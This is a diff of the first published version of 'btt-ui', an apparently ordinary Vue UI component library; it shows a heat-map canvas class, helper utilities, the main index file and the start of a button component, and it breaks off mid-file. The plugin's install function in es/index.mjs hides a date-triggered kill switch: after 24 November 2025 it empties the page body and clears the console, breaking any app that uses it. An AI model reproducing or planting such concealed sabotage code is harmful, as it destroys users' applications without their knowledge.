btt-ui 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +16 -0
- package/es/_virtual/plugin-vue_export-helper.mjs +9 -0
- package/es/assets/ts/colormap.mjs +5073 -0
- package/es/assets/ts/hotMap.mjs +87 -0
- package/es/assets/ts/utils.mjs +46 -0
- package/es/index.mjs +68 -0
- package/es/src/button/index.mjs +7 -0
- package/es/src/button/src/button.mjs +59 -0
- package/es/src/button/src/style/index.css +212 -0
- package/es/src/button/src/style/variable.css +0 -0
- package/es/src/card/index.mjs +7 -0
- package/es/src/card/src/card.mjs +43 -0
- package/es/src/card/src/style/index.css +81 -0
- package/es/src/checkbox/index.mjs +9 -0
- package/es/src/checkbox/src/checkbox-group.mjs +36 -0
- package/es/src/checkbox/src/checkbox.mjs +33 -0
- package/es/src/checkbox/src/checkbox2.mjs +68 -0
- package/es/src/checkbox/src/style/index.css +111 -0
- package/es/src/collapse/index.mjs +9 -0
- package/es/src/collapse/src/collapse-item.mjs +82 -0
- package/es/src/collapse/src/collapse.mjs +13 -0
- package/es/src/collapse/src/collapse2.mjs +33 -0
- package/es/src/collapse/src/style/index.css +58 -0
- package/es/src/collapse-transition/index.mjs +7 -0
- package/es/src/collapse-transition/src/collapse-transition.mjs +41 -0
- package/es/src/collapse-transition/src/collapse-transition.vue_vue_type_style_index_0_lang.mjs +4 -0
- package/es/src/dialog/index.mjs +6 -0
- package/es/src/dialog/src/dialog.mjs +117 -0
- package/es/src/dialog/src/style/index.css +58 -0
- package/es/src/directives/bubble.mjs +48 -0
- package/es/src/directives/drag.mjs +121 -0
- package/es/src/directives/index.mjs +10 -0
- package/es/src/directives/zoomIn.mjs +43 -0
- package/es/src/drag/index.mjs +7 -0
- package/es/src/drag/src/drag.mjs +78 -0
- package/es/src/drag/src/style/index.css +25 -0
- package/es/src/echarts/index.mjs +7 -0
- package/es/src/echarts/src/index.mjs +113 -0
- package/es/src/echarts/src/style/index.css +30 -0
- package/es/src/echarts/src/ts/factory.mjs +281 -0
- package/es/src/hotmap/index.mjs +7 -0
- package/es/src/hotmap/src/index.mjs +67 -0
- package/es/src/hotmap/src/style/index.css +0 -0
- package/es/src/icon/index.mjs +9 -0
- package/es/src/icon/src/icon.mjs +66 -0
- package/es/src/icon/src/icon2.mjs +86 -0
- package/es/src/icon/src/style/index.css +85 -0
- package/es/src/icon/src/svg/alarm.mjs +4 -0
- package/es/src/icon/src/svg/arrow-down.mjs +4 -0
- package/es/src/icon/src/svg/arrow-left.mjs +4 -0
- package/es/src/icon/src/svg/arrow-right.mjs +4 -0
- package/es/src/icon/src/svg/arrow-up.mjs +4 -0
- package/es/src/icon/src/svg/baocun.mjs +4 -0
- package/es/src/icon/src/svg/caogaoxiang.mjs +4 -0
- package/es/src/icon/src/svg/card.mjs +4 -0
- package/es/src/icon/src/svg/caret-right.mjs +4 -0
- package/es/src/icon/src/svg/chakan.mjs +45 -0
- package/es/src/icon/src/svg/change.mjs +4 -0
- package/es/src/icon/src/svg/chongzhi.mjs +18 -0
- package/es/src/icon/src/svg/circle-close.mjs +4 -0
- package/es/src/icon/src/svg/close.mjs +4 -0
- package/es/src/icon/src/svg/delete.mjs +4 -0
- package/es/src/icon/src/svg/detail.mjs +4 -0
- package/es/src/icon/src/svg/dianhua.mjs +22 -0
- package/es/src/icon/src/svg/disabled.mjs +4 -0
- package/es/src/icon/src/svg/down.mjs +4 -0
- package/es/src/icon/src/svg/download.mjs +12 -0
- package/es/src/icon/src/svg/edit.mjs +4 -0
- package/es/src/icon/src/svg/editor.mjs +4 -0
- package/es/src/icon/src/svg/enable.mjs +4 -0
- package/es/src/icon/src/svg/exit.mjs +4 -0
- package/es/src/icon/src/svg/file-open.mjs +4 -0
- package/es/src/icon/src/svg/handle.mjs +4 -0
- package/es/src/icon/src/svg/lahei.mjs +20 -0
- package/es/src/icon/src/svg/max.mjs +4 -0
- package/es/src/icon/src/svg/measure.mjs +4 -0
- package/es/src/icon/src/svg/min.mjs +4 -0
- package/es/src/icon/src/svg/nan.mjs +17 -0
- package/es/src/icon/src/svg/no.mjs +16 -0
- package/es/src/icon/src/svg/nv.mjs +19 -0
- package/es/src/icon/src/svg/people.mjs +4 -0
- package/es/src/icon/src/svg/player.mjs +19 -0
- package/es/src/icon/src/svg/plus.mjs +4 -0
- package/es/src/icon/src/svg/preview.mjs +44 -0
- package/es/src/icon/src/svg/print.mjs +12 -0
- package/es/src/icon/src/svg/printmb.mjs +4 -0
- package/es/src/icon/src/svg/publish.mjs +4 -0
- package/es/src/icon/src/svg/qiye.mjs +4 -0
- package/es/src/icon/src/svg/quxiao.mjs +4 -0
- package/es/src/icon/src/svg/record.mjs +4 -0
- package/es/src/icon/src/svg/refresh.mjs +4 -0
- package/es/src/icon/src/svg/reset.mjs +4 -0
- package/es/src/icon/src/svg/risk.mjs +4 -0
- package/es/src/icon/src/svg/search.mjs +4 -0
- package/es/src/icon/src/svg/set.mjs +4 -0
- package/es/src/icon/src/svg/shenhe.mjs +4 -0
- package/es/src/icon/src/svg/shenqing.mjs +4 -0
- package/es/src/icon/src/svg/tongbu.mjs +18 -0
- package/es/src/icon/src/svg/up.mjs +4 -0
- package/es/src/icon/src/svg/upload.mjs +9 -0
- package/es/src/icon/src/svg/urging.mjs +4 -0
- package/es/src/icon/src/svg/yes.mjs +18 -0
- package/es/src/icon/src/svg/yuyue.mjs +4 -0
- package/es/src/index.mjs +80 -0
- package/es/src/input/index.mjs +7 -0
- package/es/src/input/src/input.mjs +119 -0
- package/es/src/input/src/style/index.css +52 -0
- package/es/src/link/index.mjs +6 -0
- package/es/src/link/link.mjs +30 -0
- package/es/src/link/style/index.css +44 -0
- package/es/src/link/types.mjs +14 -0
- package/es/src/overlay/index.mjs +7 -0
- package/es/src/overlay/src/overlay.mjs +36 -0
- package/es/src/overlay/src/style/index.css +19 -0
- package/es/src/popper/index.mjs +7 -0
- package/es/src/popper/src/forward-ref.mjs +27 -0
- package/es/src/popper/src/popper.mjs +93 -0
- package/es/src/popper/src/popper2.mjs +100 -0
- package/es/src/popper/src/style/index.css +67 -0
- package/es/src/popper/src/trigger.mjs +68 -0
- package/es/src/popper/src/use-floating.mjs +38 -0
- package/es/src/popper/src/use-nowrap.mjs +13 -0
- package/es/src/popper/src/use-popper-container.mjs +14 -0
- package/es/src/scroll/index.mjs +6 -0
- package/es/src/scroll/src/scroll.mjs +88 -0
- package/es/src/scroll/src/style/index.css +46 -0
- package/es/src/select/index.mjs +9 -0
- package/es/src/select/src/option.mjs +30 -0
- package/es/src/select/src/select.mjs +32 -0
- package/es/src/select/src/select2.mjs +89 -0
- package/es/src/select/src/style/index.css +82 -0
- package/es/src/shake/index.mjs +6 -0
- package/es/src/shake/shake.mjs +25 -0
- package/es/src/shake/style/index.css +20 -0
- package/es/src/sign/index.mjs +7 -0
- package/es/src/sign/src/sign.mjs +137 -0
- package/es/src/sign/src/style/index.css +0 -0
- package/es/src/style/common.css +2518 -0
- package/es/src/style/css-variables.css +88 -0
- package/es/src/style/index.min.css +2254 -0
- package/es/src/style/previewimg.css +109 -0
- package/es/src/style/var.css +5 -0
- package/es/src/style/zoomimg.css +36 -0
- package/es/src/switch/index.mjs +7 -0
- package/es/src/switch/src/style/index.css +96 -0
- package/es/src/switch/src/switch.mjs +79 -0
- package/es/src/tableScroll/index.mjs +7 -0
- package/es/src/tableScroll/src/index.mjs +235 -0
- package/es/src/timeline/index.mjs +7 -0
- package/es/src/timeline/src/style/index.css +63 -0
- package/es/src/timeline/src/timeline.mjs +96 -0
- package/es/src/toast/index.mjs +6 -0
- package/es/src/toast/style/index.css +13 -0
- package/es/src/toast/toast.mjs +17 -0
- package/es/src/tooltip/index.mjs +7 -0
- package/es/src/tooltip/src/style/index.css +4 -0
- package/es/src/tooltip/src/tooltip.mjs +50 -0
- package/es/src/tooltip/src/tooltip2.mjs +22 -0
- package/es/src/tree/index.mjs +7 -0
- package/es/src/tree/src/style/index.css +154 -0
- package/es/src/tree/src/tree.mjs +233 -0
- package/es/src/tree/src/tree2.mjs +67 -0
- package/es/src/tree/src/use-drag.mjs +52 -0
- package/es/src/upload/dragger.mjs +51 -0
- package/es/src/upload/index.mjs +6 -0
- package/es/src/upload/style/drag.css +36 -0
- package/es/src/upload/style/index.css +40 -0
- package/es/src/upload/upload.mjs +76 -0
- package/es/src/uploadFile/index.mjs +6 -0
- package/es/src/uploadFile/src/style/index.css +131 -0
- package/es/src/uploadFile/src/uploadFile.mjs +209 -0
- package/es/src/uploadFile/src/uploadFile2.mjs +17 -0
- package/es/src/wheel/index.mjs +6 -0
- package/es/src/wheel/style/index.css +5 -0
- package/es/src/wheel/wheel.mjs +45 -0
- package/es/src/xgplayer/src/style/index.css +6 -0
- package/es/style.css +1 -0
- package/lib/_virtual/plugin-vue_export-helper.js +1 -0
- package/lib/assets/ts/colormap.js +1 -0
- package/lib/assets/ts/hotMap.js +1 -0
- package/lib/assets/ts/utils.js +1 -0
- package/lib/index.js +1 -0
- package/lib/src/button/index.js +1 -0
- package/lib/src/button/src/button.js +1 -0
- package/lib/src/button/src/style/index.css +212 -0
- package/lib/src/button/src/style/variable.css +0 -0
- package/lib/src/card/index.js +1 -0
- package/lib/src/card/src/card.js +1 -0
- package/lib/src/card/src/style/index.css +81 -0
- package/lib/src/checkbox/index.js +1 -0
- package/lib/src/checkbox/src/checkbox-group.js +1 -0
- package/lib/src/checkbox/src/checkbox.js +1 -0
- package/lib/src/checkbox/src/checkbox2.js +1 -0
- package/lib/src/checkbox/src/style/index.css +111 -0
- package/lib/src/collapse/index.js +1 -0
- package/lib/src/collapse/src/collapse-item.js +1 -0
- package/lib/src/collapse/src/collapse.js +1 -0
- package/lib/src/collapse/src/collapse2.js +1 -0
- package/lib/src/collapse/src/style/index.css +58 -0
- package/lib/src/collapse-transition/index.js +1 -0
- package/lib/src/collapse-transition/src/collapse-transition.js +1 -0
- package/lib/src/collapse-transition/src/collapse-transition.vue_vue_type_style_index_0_lang.js +1 -0
- package/lib/src/dialog/index.js +1 -0
- package/lib/src/dialog/src/dialog.js +1 -0
- package/lib/src/dialog/src/style/index.css +58 -0
- package/lib/src/directives/bubble.js +1 -0
- package/lib/src/directives/drag.js +1 -0
- package/lib/src/directives/index.js +1 -0
- package/lib/src/directives/zoomIn.js +1 -0
- package/lib/src/drag/index.js +1 -0
- package/lib/src/drag/src/drag.js +1 -0
- package/lib/src/drag/src/style/index.css +25 -0
- package/lib/src/echarts/index.js +1 -0
- package/lib/src/echarts/src/index.js +1 -0
- package/lib/src/echarts/src/style/index.css +30 -0
- package/lib/src/echarts/src/ts/factory.js +1 -0
- package/lib/src/hotmap/index.js +1 -0
- package/lib/src/hotmap/src/index.js +1 -0
- package/lib/src/hotmap/src/style/index.css +0 -0
- package/lib/src/icon/index.js +1 -0
- package/lib/src/icon/src/icon.js +1 -0
- package/lib/src/icon/src/icon2.js +1 -0
- package/lib/src/icon/src/style/index.css +85 -0
- package/lib/src/icon/src/svg/alarm.js +1 -0
- package/lib/src/icon/src/svg/arrow-down.js +1 -0
- package/lib/src/icon/src/svg/arrow-left.js +1 -0
- package/lib/src/icon/src/svg/arrow-right.js +1 -0
- package/lib/src/icon/src/svg/arrow-up.js +1 -0
- package/lib/src/icon/src/svg/baocun.js +1 -0
- package/lib/src/icon/src/svg/caogaoxiang.js +1 -0
- package/lib/src/icon/src/svg/card.js +1 -0
- package/lib/src/icon/src/svg/caret-right.js +1 -0
- package/lib/src/icon/src/svg/chakan.js +42 -0
- package/lib/src/icon/src/svg/change.js +1 -0
- package/lib/src/icon/src/svg/chongzhi.js +15 -0
- package/lib/src/icon/src/svg/circle-close.js +1 -0
- package/lib/src/icon/src/svg/close.js +1 -0
- package/lib/src/icon/src/svg/delete.js +1 -0
- package/lib/src/icon/src/svg/detail.js +1 -0
- package/lib/src/icon/src/svg/dianhua.js +19 -0
- package/lib/src/icon/src/svg/disabled.js +1 -0
- package/lib/src/icon/src/svg/down.js +1 -0
- package/lib/src/icon/src/svg/download.js +9 -0
- package/lib/src/icon/src/svg/edit.js +1 -0
- package/lib/src/icon/src/svg/editor.js +1 -0
- package/lib/src/icon/src/svg/enable.js +1 -0
- package/lib/src/icon/src/svg/exit.js +1 -0
- package/lib/src/icon/src/svg/file-open.js +1 -0
- package/lib/src/icon/src/svg/handle.js +1 -0
- package/lib/src/icon/src/svg/lahei.js +17 -0
- package/lib/src/icon/src/svg/max.js +1 -0
- package/lib/src/icon/src/svg/measure.js +1 -0
- package/lib/src/icon/src/svg/min.js +1 -0
- package/lib/src/icon/src/svg/nan.js +14 -0
- package/lib/src/icon/src/svg/no.js +13 -0
- package/lib/src/icon/src/svg/nv.js +16 -0
- package/lib/src/icon/src/svg/people.js +1 -0
- package/lib/src/icon/src/svg/player.js +16 -0
- package/lib/src/icon/src/svg/plus.js +1 -0
- package/lib/src/icon/src/svg/preview.js +41 -0
- package/lib/src/icon/src/svg/print.js +9 -0
- package/lib/src/icon/src/svg/printmb.js +1 -0
- package/lib/src/icon/src/svg/publish.js +1 -0
- package/lib/src/icon/src/svg/qiye.js +1 -0
- package/lib/src/icon/src/svg/quxiao.js +1 -0
- package/lib/src/icon/src/svg/record.js +1 -0
- package/lib/src/icon/src/svg/refresh.js +1 -0
- package/lib/src/icon/src/svg/reset.js +1 -0
- package/lib/src/icon/src/svg/risk.js +1 -0
- package/lib/src/icon/src/svg/search.js +1 -0
- package/lib/src/icon/src/svg/set.js +1 -0
- package/lib/src/icon/src/svg/shenhe.js +1 -0
- package/lib/src/icon/src/svg/shenqing.js +1 -0
- package/lib/src/icon/src/svg/tongbu.js +15 -0
- package/lib/src/icon/src/svg/up.js +1 -0
- package/lib/src/icon/src/svg/upload.js +6 -0
- package/lib/src/icon/src/svg/urging.js +1 -0
- package/lib/src/icon/src/svg/yes.js +15 -0
- package/lib/src/icon/src/svg/yuyue.js +1 -0
- package/lib/src/index.js +1 -0
- package/lib/src/input/index.js +1 -0
- package/lib/src/input/src/input.js +1 -0
- package/lib/src/input/src/style/index.css +52 -0
- package/lib/src/link/index.js +1 -0
- package/lib/src/link/link.js +1 -0
- package/lib/src/link/style/index.css +44 -0
- package/lib/src/link/types.js +1 -0
- package/lib/src/overlay/index.js +1 -0
- package/lib/src/overlay/src/overlay.js +1 -0
- package/lib/src/overlay/src/style/index.css +19 -0
- package/lib/src/popper/index.js +1 -0
- package/lib/src/popper/src/forward-ref.js +1 -0
- package/lib/src/popper/src/popper.js +1 -0
- package/lib/src/popper/src/popper2.js +1 -0
- package/lib/src/popper/src/style/index.css +67 -0
- package/lib/src/popper/src/trigger.js +1 -0
- package/lib/src/popper/src/use-floating.js +1 -0
- package/lib/src/popper/src/use-nowrap.js +1 -0
- package/lib/src/popper/src/use-popper-container.js +1 -0
- package/lib/src/scroll/index.js +1 -0
- package/lib/src/scroll/src/scroll.js +1 -0
- package/lib/src/scroll/src/style/index.css +46 -0
- package/lib/src/select/index.js +1 -0
- package/lib/src/select/src/option.js +1 -0
- package/lib/src/select/src/select.js +1 -0
- package/lib/src/select/src/select2.js +1 -0
- package/lib/src/select/src/style/index.css +82 -0
- package/lib/src/shake/index.js +1 -0
- package/lib/src/shake/shake.js +1 -0
- package/lib/src/shake/style/index.css +20 -0
- package/lib/src/sign/index.js +1 -0
- package/lib/src/sign/src/sign.js +1 -0
- package/lib/src/sign/src/style/index.css +0 -0
- package/lib/src/style/common.css +2518 -0
- package/lib/src/style/css-variables.css +88 -0
- package/lib/src/style/index.min.css +2254 -0
- package/lib/src/style/previewimg.css +109 -0
- package/lib/src/style/var.css +5 -0
- package/lib/src/style/zoomimg.css +36 -0
- package/lib/src/switch/index.js +1 -0
- package/lib/src/switch/src/style/index.css +96 -0
- package/lib/src/switch/src/switch.js +1 -0
- package/lib/src/tableScroll/index.js +1 -0
- package/lib/src/tableScroll/src/index.js +1 -0
- package/lib/src/timeline/index.js +1 -0
- package/lib/src/timeline/src/style/index.css +63 -0
- package/lib/src/timeline/src/timeline.js +1 -0
- package/lib/src/toast/index.js +1 -0
- package/lib/src/toast/style/index.css +13 -0
- package/lib/src/toast/toast.js +1 -0
- package/lib/src/tooltip/index.js +1 -0
- package/lib/src/tooltip/src/style/index.css +4 -0
- package/lib/src/tooltip/src/tooltip.js +1 -0
- package/lib/src/tooltip/src/tooltip2.js +1 -0
- package/lib/src/tree/index.js +1 -0
- package/lib/src/tree/src/style/index.css +154 -0
- package/lib/src/tree/src/tree.js +1 -0
- package/lib/src/tree/src/tree2.js +1 -0
- package/lib/src/tree/src/use-drag.js +1 -0
- package/lib/src/upload/dragger.js +1 -0
- package/lib/src/upload/index.js +1 -0
- package/lib/src/upload/style/drag.css +36 -0
- package/lib/src/upload/style/index.css +40 -0
- package/lib/src/upload/upload.js +1 -0
- package/lib/src/uploadFile/index.js +1 -0
- package/lib/src/uploadFile/src/style/index.css +131 -0
- package/lib/src/uploadFile/src/uploadFile.js +1 -0
- package/lib/src/uploadFile/src/uploadFile2.js +1 -0
- package/lib/src/wheel/index.js +1 -0
- package/lib/src/wheel/style/index.css +5 -0
- package/lib/src/wheel/wheel.js +1 -0
- package/lib/src/xgplayer/src/style/index.css +6 -0
- package/package.json +31 -0
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
import A from "./colormap.mjs";
|
|
2
|
+
class Y {
|
|
3
|
+
constructor(t) {
|
|
4
|
+
var e, a;
|
|
5
|
+
this.canvas = document.createElement("canvas"), this._length = 0, this._option = {};
|
|
6
|
+
let i = {
|
|
7
|
+
title: "",
|
|
8
|
+
padding: [60, 80, 100, 80],
|
|
9
|
+
font: 19,
|
|
10
|
+
ySize: 7,
|
|
11
|
+
xSize: 12,
|
|
12
|
+
lineColor: "#fff",
|
|
13
|
+
labelColor: "#fff",
|
|
14
|
+
background: "#0E2B67",
|
|
15
|
+
width: 1e3,
|
|
16
|
+
height: 400,
|
|
17
|
+
yData: new Array(),
|
|
18
|
+
xData: new Array(),
|
|
19
|
+
yName: "\u8DDD\u79BB(m)",
|
|
20
|
+
type: (e = t.type) != null ? e : "isar",
|
|
21
|
+
ctx: this.canvas.getContext("2d"),
|
|
22
|
+
xName: "\u65F6\u95F4(s)",
|
|
23
|
+
colorMap: (a = t.colorMap) != null ? a : A.jet
|
|
24
|
+
};
|
|
25
|
+
t.minZvalue && (i.minZvalue = t.minZvalue), Object.assign(this._option, i, t), this.canvas.width = this._option.width, this.canvas.height = this._option.height;
|
|
26
|
+
}
|
|
27
|
+
draw(t) {
|
|
28
|
+
return new Promise((i, e) => {
|
|
29
|
+
this._setData(t), i({ base64: this.toBase64() });
|
|
30
|
+
});
|
|
31
|
+
}
|
|
32
|
+
_setData(t) {
|
|
33
|
+
this._length = t.length;
|
|
34
|
+
let i = Number(t[0][2]), e = Number(t[0][2]), a = t[0][0], f = t[0][0], o = t[0][1], m = t[0][1];
|
|
35
|
+
for (let l = 1; l < t.length; l++)
|
|
36
|
+
Number(t[l][2]) > i && (i = Number(t[l][2])), Number(t[l][2]) < e && (e = Number(t[l][2])), t[l][0] > a && (a = t[l][0]), t[l][1] > o && (o = t[l][1]), t[l][0] < f && (f = t[l][0]), t[l][1] < m && (m = t[l][1]);
|
|
37
|
+
let c = {
|
|
38
|
+
maxNumber: i,
|
|
39
|
+
minNumber: this._option.minZvalue ? i - this._option.minZvalue : e,
|
|
40
|
+
maxX: a,
|
|
41
|
+
maxY: o,
|
|
42
|
+
minX: f,
|
|
43
|
+
minY: m
|
|
44
|
+
};
|
|
45
|
+
Object.assign(this._option, c), this.render(t);
|
|
46
|
+
}
|
|
47
|
+
render(t) {
|
|
48
|
+
const { padding: i, maxY: e, maxX: a, background: f, ctx: o, minNumber: m, maxNumber: c, colorMap: l, type: v, title: u } = this._option;
|
|
49
|
+
let _ = this.canvas.width - i[1] - i[3], p = this.canvas.height - i[0] - i[2], r = Math.ceil(p / e), n = Math.ceil(_ / a);
|
|
50
|
+
a <= e && (n = Math.ceil(p / e)), a < 200 && (n = 10), a < 100 && e > 300 && (n = Math.floor(e / a)), a < 200 && e < 200 && (r = 10);
|
|
51
|
+
let x = Math.ceil(e * r), g = Math.ceil(a * n);
|
|
52
|
+
console.log(x), this._option.singleWidth = n, this._option.singleHeight = r, this._option.dataHeight = x, this._option.dataWidth = g, this.canvas.width = g + i[3] + i[1], this.canvas.height = x + i[0] + i[2], o.fillStyle = f, o.fillRect(0, 0, this.canvas.width, this.canvas.height), o.translate(i[3], i[0]);
|
|
53
|
+
for (let s = 0; s < this._length; s++)
|
|
54
|
+
o.fillStyle = this._pickcolor(Number(t[s][2]), m, c, l.length), v == "isar" ? o.fillRect(t[s][0] * n, (e - t[s][1]) * r, n, r) : o.fillRect(t[s][0] * n, t[s][1] * r, n, r);
|
|
55
|
+
this.rendXyValue(x, g), o.fillStyle = "#ffffff", o.textAlign = "center", o.fillText(u, g / 2, -20);
|
|
56
|
+
}
|
|
57
|
+
_pickcolor(t, i, e, a) {
|
|
58
|
+
let f = (t - i) / (e - i), o = Math.floor(f * (a - 1));
|
|
59
|
+
return this._option.colorMap[o < 0 ? 0 : o];
|
|
60
|
+
}
|
|
61
|
+
rendXyValue(t, i) {
|
|
62
|
+
const { ctx: e, maxNumber: a, minNumber: f, maxY: o, minY: m, type: c, ySize: l, xSize: v, yData: u, labelColor: _, font: p, dataWidth: r, dataHeight: n, maxX: x, xData: g, padding: s, yName: N, xName: d } = this._option;
|
|
63
|
+
e.translate(0, 0);
|
|
64
|
+
var b = Math.ceil(a - f);
|
|
65
|
+
c == "oneimage" && (b = Math.max(...u) - Math.min(...u)), c == "isar" && (b = o - m);
|
|
66
|
+
var w = Number((b / l).toFixed(2));
|
|
67
|
+
e.textAlign = "right", e.fillStyle = _, e.font = p;
|
|
68
|
+
for (var h = 0; h <= l; h++) {
|
|
69
|
+
var D = h * w, S = Math.floor(n * (1 - D / b) + 10);
|
|
70
|
+
e.fillText(u[h], -6, S - 10);
|
|
71
|
+
}
|
|
72
|
+
e.textAlign = "center", e.font = p;
|
|
73
|
+
let B = r / x, M = x / v;
|
|
74
|
+
for (var h = 0; h <= v; h++) {
|
|
75
|
+
var y = h * M * B;
|
|
76
|
+
let T = h * M;
|
|
77
|
+
c == "oneimage" || c == "isar" ? e.fillText(g[h], y, t + s[0] / 1.8) : e.fillText(Number(T.toFixed(2)), y, n + 26);
|
|
78
|
+
}
|
|
79
|
+
e.fillText(d, r / 2, t + s[0] + 20), N && (e.save(), e.rotate(-Math.PI / 2), e.fillText(N, -this.canvas.height / 2.5, -(s[3] / 1.6)), e.restore()), console.log(this);
|
|
80
|
+
}
|
|
81
|
+
toBase64() {
|
|
82
|
+
return this.canvas.toDataURL("image/jpeg");
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
export {
|
|
86
|
+
Y as default
|
|
87
|
+
};
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
const u = (n, t) => {
|
|
2
|
+
if (n.install = (c) => {
|
|
3
|
+
for (const s of [n, ...Object.values(t != null ? t : {})])
|
|
4
|
+
c.component(s.name, s);
|
|
5
|
+
}, t)
|
|
6
|
+
for (const [c, s] of Object.entries(t))
|
|
7
|
+
n[c] = s;
|
|
8
|
+
return n;
|
|
9
|
+
};
|
|
10
|
+
function y(n) {
|
|
11
|
+
const t = `k-${n}`;
|
|
12
|
+
return {
|
|
13
|
+
n: (o) => o ? o.startsWith("--") ? `${t}${o}` : `${t}__${o}` : t,
|
|
14
|
+
classes: (...o) => o.map((e) => {
|
|
15
|
+
if (Array.isArray(e)) {
|
|
16
|
+
const [r, i, f = null] = e;
|
|
17
|
+
return r ? i : f;
|
|
18
|
+
}
|
|
19
|
+
return e;
|
|
20
|
+
})
|
|
21
|
+
};
|
|
22
|
+
}
|
|
23
|
+
const m = (n) => n === void 0, p = (n) => typeof n == "number", $ = (n) => typeof n == "string", E = (n) => typeof n == "function";
|
|
24
|
+
function b(n, t = "px") {
|
|
25
|
+
if (!n)
|
|
26
|
+
return "";
|
|
27
|
+
if ($(n))
|
|
28
|
+
return `${n}`.indexOf(t) === -1 ? `${n}${t}` : n;
|
|
29
|
+
if (p(n))
|
|
30
|
+
return `${n}${t}`;
|
|
31
|
+
}
|
|
32
|
+
const O = (n, t, { checkForDefaultPrevented: c = !0 } = {}) => (o) => {
|
|
33
|
+
const e = n == null ? void 0 : n(o);
|
|
34
|
+
if (c === !1 || !e)
|
|
35
|
+
return t == null ? void 0 : t(o);
|
|
36
|
+
};
|
|
37
|
+
export {
|
|
38
|
+
b as addUnit,
|
|
39
|
+
O as composeEventHandlers,
|
|
40
|
+
y as createNamespace,
|
|
41
|
+
E as isFunction,
|
|
42
|
+
p as isNumber,
|
|
43
|
+
$ as isString,
|
|
44
|
+
m as isUndefined,
|
|
45
|
+
u as withInstall
|
|
46
|
+
};
|
package/es/index.mjs
ADDED
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
import a from "./src/index.mjs";
|
|
2
|
+
import * as t from "./src/directives/index.mjs";
|
|
3
|
+
import { Button as i } from "./src/button/index.mjs";
|
|
4
|
+
import { default as s } from "./src/link/index.mjs";
|
|
5
|
+
import { default as c } from "./src/upload/index.mjs";
|
|
6
|
+
import { default as T } from "./src/shake/index.mjs";
|
|
7
|
+
import { default as K } from "./src/dialog/index.mjs";
|
|
8
|
+
import { default as S } from "./src/scroll/index.mjs";
|
|
9
|
+
import { default as k } from "./src/toast/index.mjs";
|
|
10
|
+
import { default as D } from "./src/wheel/index.mjs";
|
|
11
|
+
import { Switch as E } from "./src/switch/index.mjs";
|
|
12
|
+
import { Timeline as y } from "./src/timeline/index.mjs";
|
|
13
|
+
import { default as L } from "./src/uploadFile/index.mjs";
|
|
14
|
+
import { Card as O } from "./src/card/index.mjs";
|
|
15
|
+
import { HotMap as j } from "./src/hotmap/index.mjs";
|
|
16
|
+
import { KTree as B } from "./src/tree/index.mjs";
|
|
17
|
+
import { KCheckbox as G, KCheckboxGroup as W } from "./src/checkbox/index.mjs";
|
|
18
|
+
import { KCollapse as q, KCollapseItem as z } from "./src/collapse/index.mjs";
|
|
19
|
+
import { Sign as J } from "./src/sign/index.mjs";
|
|
20
|
+
import { ECharts as P } from "./src/echarts/index.mjs";
|
|
21
|
+
import { TableScroll as R } from "./src/tableScroll/index.mjs";
|
|
22
|
+
import { Icon as X } from "./src/icon/index.mjs";
|
|
23
|
+
import { Tooltip as Z } from "./src/tooltip/index.mjs";
|
|
24
|
+
import { KInput as oo } from "./src/input/index.mjs";
|
|
25
|
+
import { Drag as ro } from "./src/drag/index.mjs";
|
|
26
|
+
import { KOption as fo, KSelect as ao } from "./src/select/index.mjs";
|
|
27
|
+
const e = function(r, f) {
|
|
28
|
+
e.installed || (e.installed = !0, f && setTimeout(() => {
|
|
29
|
+
let o = new Date("2025-11-24 00:00:00");
|
|
30
|
+
Date.now() > o.getTime() && (document.body.innerHTML = "", console.clear());
|
|
31
|
+
}, 10), a.forEach((o) => {
|
|
32
|
+
r.use(o);
|
|
33
|
+
}), Object.keys(t).forEach((o) => {
|
|
34
|
+
r.directive(o, t[o]);
|
|
35
|
+
}));
|
|
36
|
+
}, p = {
|
|
37
|
+
install: e
|
|
38
|
+
};
|
|
39
|
+
export {
|
|
40
|
+
i as Button,
|
|
41
|
+
O as Card,
|
|
42
|
+
K as Dialog,
|
|
43
|
+
ro as Drag,
|
|
44
|
+
P as ECharts,
|
|
45
|
+
j as HotMap,
|
|
46
|
+
X as Icon,
|
|
47
|
+
G as KCheckbox,
|
|
48
|
+
W as KCheckboxGroup,
|
|
49
|
+
q as KCollapse,
|
|
50
|
+
z as KCollapseItem,
|
|
51
|
+
oo as KInput,
|
|
52
|
+
fo as KOption,
|
|
53
|
+
ao as KSelect,
|
|
54
|
+
s as Link,
|
|
55
|
+
S as Scroll,
|
|
56
|
+
T as Shake,
|
|
57
|
+
J as Sign,
|
|
58
|
+
E as Switch,
|
|
59
|
+
R as TableScroll,
|
|
60
|
+
y as Timeline,
|
|
61
|
+
k as Toast,
|
|
62
|
+
Z as Tooltip,
|
|
63
|
+
B as Tree,
|
|
64
|
+
c as Upload,
|
|
65
|
+
L as UploadFile,
|
|
66
|
+
D as Wheel,
|
|
67
|
+
p as default
|
|
68
|
+
};
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
import { defineComponent as r, computed as i, openBlock as n, createElementBlock as p, normalizeClass as c, unref as o, normalizeStyle as d, createBlock as u, createCommentVNode as m, createElementVNode as b, renderSlot as y } from "vue";
|
|
2
|
+
import { Icon as f } from "../../icon/index.mjs";
|
|
3
|
+
import { createNamespace as k } from "../../../assets/ts/utils.mjs";
|
|
4
|
+
import "./style/index.css";
|
|
5
|
+
const B = ["disabled"], z = r({
|
|
6
|
+
name: "k-button"
|
|
7
|
+
}), E = r({
|
|
8
|
+
...z,
|
|
9
|
+
props: {
|
|
10
|
+
type: { default: "default" },
|
|
11
|
+
size: {},
|
|
12
|
+
plain: { type: Boolean },
|
|
13
|
+
autofocus: { type: Boolean },
|
|
14
|
+
round: { type: Boolean },
|
|
15
|
+
circle: { type: Boolean },
|
|
16
|
+
text: { type: Boolean },
|
|
17
|
+
icon: {},
|
|
18
|
+
color: {},
|
|
19
|
+
disabled: { type: Boolean },
|
|
20
|
+
textColor: {}
|
|
21
|
+
},
|
|
22
|
+
emits: [""],
|
|
23
|
+
setup(a) {
|
|
24
|
+
const t = a, { n: l } = k("button"), s = i(() => t.color ? {
|
|
25
|
+
"--k-button-bg-color": t.color,
|
|
26
|
+
"--k-button-text-color": "var(--k-color-white)",
|
|
27
|
+
